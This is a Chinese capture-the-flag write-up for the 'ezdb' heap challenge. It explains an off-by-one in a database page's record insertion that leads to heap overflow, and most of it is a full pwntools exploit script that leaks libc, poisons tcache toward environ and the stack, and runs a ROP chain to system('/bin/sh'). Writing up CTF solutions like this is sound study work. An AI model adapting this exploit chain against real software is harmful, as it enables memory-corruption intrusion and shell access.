和 n1 的师傅一起打了这场比赛,由于不会 web pwn 和 iot,这场基本上只能打签到堆题wwww

师傅们 tql

ezdb

Glibc 2.35,洞在这里:

__int16 __fastcall TablePage::InsertRecord(TablePage *this, Record *record)
{
  int Size; // [rsp+10h] [rbp-10h]
  int v4; // [rsp+14h] [rbp-Ch]

  Size = Record::GetSize(record);
  if ( TablePage::GetFreeSpaceSize(this) < (Size + 4LL) )
    return -1;
  LOWORD(v4) = this->end - Size - this->page;
  HIWORD(v4) = Size;
  *this->start = v4;
  this->start = (this->start + 4);
  memcpy(this->end - Size, record->content, Size);  // off by one
  this->end = (this->end - Size);
  return (LOWORD(this->start) - 4 - LOWORD(this->page)) >> 2;
}

这个地方有一个溢出,可以修改 Page 的 length,这个 length 会被用在后面 showedit 功能里,例如 edit

__int64 __fastcall TablePage::EditRecord(TablePage *this, unsigned __int16 slot, Record *new_rec)
{
  int length; // ebx
  int Size; // eax
  unsigned __int16 *v7; // [rsp+28h] [rbp-18h]

  if ( slot >= TablePage::GetSlotNum(this) )
    return 0LL;
  v7 = this->d + 2 * slot;
  length = v7[1];
  if ( length < Record::GetSize(new_rec) )
    return 0LL;
  Size = Record::GetSize(new_rec);
  memcpy(this->page + *v7, new_rec->content, Size);
  return 1LL;
}

通过溢出可以把这里的 length 写成一个比较大的数字,从而 Record::GetSize(new_rec) 可以更大一点,也就是 memcpySize 更大一点,从而导致堆溢出。

所以这里有几乎无限的任意地址读写原语,tcache posioning 打栈即可。

#!/usr/bin/env python3

from pwn import *
from sys import argv

proc = "./db_patched"
context.log_level = "debug"
context.binary = proc
elf = ELF(proc, checksec=False)
libc = ELF("./libc.so.6", checksec=False)
io = remote("", ) if argv[1] == 'r' else process(proc)

if args.G:
    gdb.attach(io, "breakrva 0x1fe2")


def choose(op):
    io.sendlineafter(b">>>", str(op).encode())


def create(idx):
    choose(1)
    io.sendlineafter(b": ", str(idx).encode())


def remove(idx):
    choose(2)
    io.sendlineafter(b": ", str(idx).encode())


def insert(idx, length, content):
    choose(3)
    io.sendlineafter(b"Index: ", str(idx).encode())
    io.sendlineafter(b"Varchar Length:", str(length).encode())
    io.sendlineafter(b"Varchar: ", content)
    io.recvuntil(b"slot id: ")
    slot_id = int(io.recvuntil(b"\n", drop=True))
    return slot_id


def show(idx, slot_id):
    choose(4)
    io.sendlineafter(b"Index: ", str(idx).encode())
    io.sendlineafter(b"ID: ", str(slot_id).encode())


def edit(idx, slot_id, length, content):
    choose(5)
    io.sendlineafter(b"Index: ", str(idx).encode())
    io.sendlineafter(b"Slot ID: ", str(slot_id).encode())
    io.sendlineafter(b"Length: ", str(length).encode())
    io.sendlineafter(b"Varchar: ", content)


create(10)
create(0)
insert(0, 0x401 - 4, b"\x08" + b"a" * (0x401 - 5))

for i in range(1, 9):
    create(i)
for i in range(1, 9):
    remove(9 - i)
show(0, 0)
io.recvuntil(b"Varchar: ")
io.recv(0x415)
heap_leak = u64(io.recv(8))
io.recv(0x38)
main_arena = u64(io.recv(8))
io.recv(0x418)
posion = u64(io.recv(8))
libc_base = main_arena - 0x21ace0
heap_addr = heap_leak - 3 - 0x480
log.info(f"libc_base => {hex(libc_base)}\nheap_addr => {hex(heap_addr)}")
log.info(f"posion => {hex(posion)}")
environ = libc_base + libc.sym['environ']
log.info(f"environ => {hex(environ)}")

binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
pop_rdi_ret = libc_base + libc.search(asm("pop rdi; ret;")).__next__()
ret = libc_base + 0x0000000000029139
system = libc_base + libc.sym['system']

create(1)
insert(10, 0x401 - 4, b"\x04" + b"a" * (0x401 - 5))

payload = b"c" * (0x400 - 3)
payload += flat([0, 0x31, environ - 3])
edit(10, 0, len(payload), payload)

show(0, 0)
io.recvuntil(b'Varchar: ')
stack_addr = u64(io.recv(8)) - 0x120
log.info(f"stack_addr => {hex(stack_addr)}")

payload = b"d" * (0x400 - 3)
payload += flat([0, 0x31, stack_addr - 3])
edit(10, 0, len(payload), payload)
# input()
payload2 = flat([pop_rdi_ret, binsh, ret, system])
edit(0, 0, len(payload2), payload2)
choose(6)
io.interactive()